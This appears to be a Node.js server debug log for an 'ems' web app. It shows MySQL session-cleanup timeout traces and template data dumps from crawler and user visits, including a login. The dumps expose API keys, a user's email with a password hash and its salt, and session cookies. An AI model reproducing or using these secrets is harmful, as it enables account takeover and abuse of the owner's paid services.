    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 21:03:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 21:03:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-01 22:07:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-01 22:07:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 02:19:30' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 02:19:30' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 03:14:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 03:14:31' as DATETIME)"
}
2026-03-02T03:30:15.312Z server-connect:router Serving templateView /
2026-03-02T03:30:15.313Z server-connect:app Executing action step identify
2026-03-02T03:30:15.314Z server-connect:app options: { provider: 'security' }
2026-03-02T03:30:15.314Z server-connect:auth No login cookie found
2026-03-02T03:30:15.314Z server-connect:output identity: false
2026-03-02T03:30:15.314Z server-connect:app Executing action step restrict
2026-03-02T03:30:15.314Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T03:30:15.315Z server-connect:output restrict: undefined
2026-03-02T03:30:15.443Z server-connect:router Serving templateView /login
2026-03-02T03:30:15.443Z server-connect:app Executing action step identify
2026-03-02T03:30:15.443Z server-connect:app options: { provider: 'security' }
2026-03-02T03:30:15.443Z server-connect:auth No login cookie found
2026-03-02T03:30:15.443Z server-connect:output identity: false
2026-03-02T03:30:15.444Z server-connect:router Render template layouts/authentication
2026-03-02T03:30:15.444Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.227.171',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-03T03:30:15.443Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.227.171',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.227.171',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 03:45:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 03:45:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 06:12:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 06:12:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 08:08:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 08:08:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-02 08:30:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-02 08:30:32' as DATETIME)"
}
2026-03-02T10:47:43.058Z server-connect:router Serving templateView /
2026-03-02T10:47:43.059Z server-connect:app Executing action step identify
2026-03-02T10:47:43.060Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:43.060Z server-connect:auth No login cookie found
2026-03-02T10:47:43.060Z server-connect:output identity: false
2026-03-02T10:47:43.060Z server-connect:app Executing action step restrict
2026-03-02T10:47:43.060Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T10:47:43.061Z server-connect:output restrict: undefined
2026-03-02T10:47:44.175Z server-connect:router Serving templateView /login
2026-03-02T10:47:44.176Z server-connect:app Executing action step identify
2026-03-02T10:47:44.176Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:44.176Z server-connect:auth No login cookie found
2026-03-02T10:47:44.176Z server-connect:output identity: false
2026-03-02T10:47:44.176Z server-connect:router Render template layouts/authentication
2026-03-02T10:47:44.177Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-03T10:47:44.175Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-02T10:47:47.886Z server-connect:router Serving serverConnect /api/access-control/login
2026-03-02T10:47:47.887Z server-connect:app Executing action step identify
2026-03-02T10:47:47.887Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:47.936Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-02T10:47:47.940Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-02T10:47:47.994Z server-connect:output identity: 1
2026-03-02T10:47:47.994Z server-connect:app Executing action step login
2026-03-02T10:47:47.994Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-03-02T10:47:47.995Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-02T10:47:48.040Z server-connect:output identity: 1
2026-03-02T10:47:48.040Z server-connect:app Executing action step restrict
2026-03-02T10:47:48.040Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-02T10:47:48.040Z server-connect:output restrict: undefined
2026-03-02T10:47:48.329Z server-connect:router Serving templateView /
2026-03-02T10:47:48.329Z server-connect:app Executing action step identify
2026-03-02T10:47:48.329Z server-connect:app options: { provider: 'security' }
2026-03-02T10:47:48.330Z server-connect:output identity: 1
2026-03-02T10:47:48.330Z server-connect:app Executing action step restrict
2026-03-02T10:47:48.330Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T10:47:48.330Z server-connect:output restrict: undefined
2026-03-02T10:47:48.330Z server-connect:app Executing action step restrict
2026-03-02T10:47:48.330Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-02T10:47:48.330Z server-connect:output restrict: undefined
2026-03-02T10:47:48.330Z server-connect:router Render template layouts/main
2026-03-02T10:47:48.331Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AcJqudxG%2BQeQTzAsO4PF3ag%3D%3D.adLyxuvHL%2FcbNFqHTy1LZHx5sWzMWIXY1sXomLzNl6wgQ0v5EaRrBBf3rpTdmAxQ10Pwac60Pk1xoKg8Jr%2F9f6sxhV1Dtwnjx5lWbaZdqd1o%2FGxSsCRqnJFcQEXlFtDFk66pfTsSbkT59tuB8TA%2BRzNnP8syQR6JKOOXUF9qoXo%3D.jsBmLc98vNBu%2F1QNkgSbqxRfWc%2B%2BhB4Azt%2F9LlxvpgU; your_r_git.sid=s%3A-pTay87jueFqlIINlaJFO_syN4h5wwxp.VP5g7HCkiPxK%2FviYFmoNYhFxfTlFRKlcV3d4ryz%2Bt6o',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-03T10:47:48.041Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
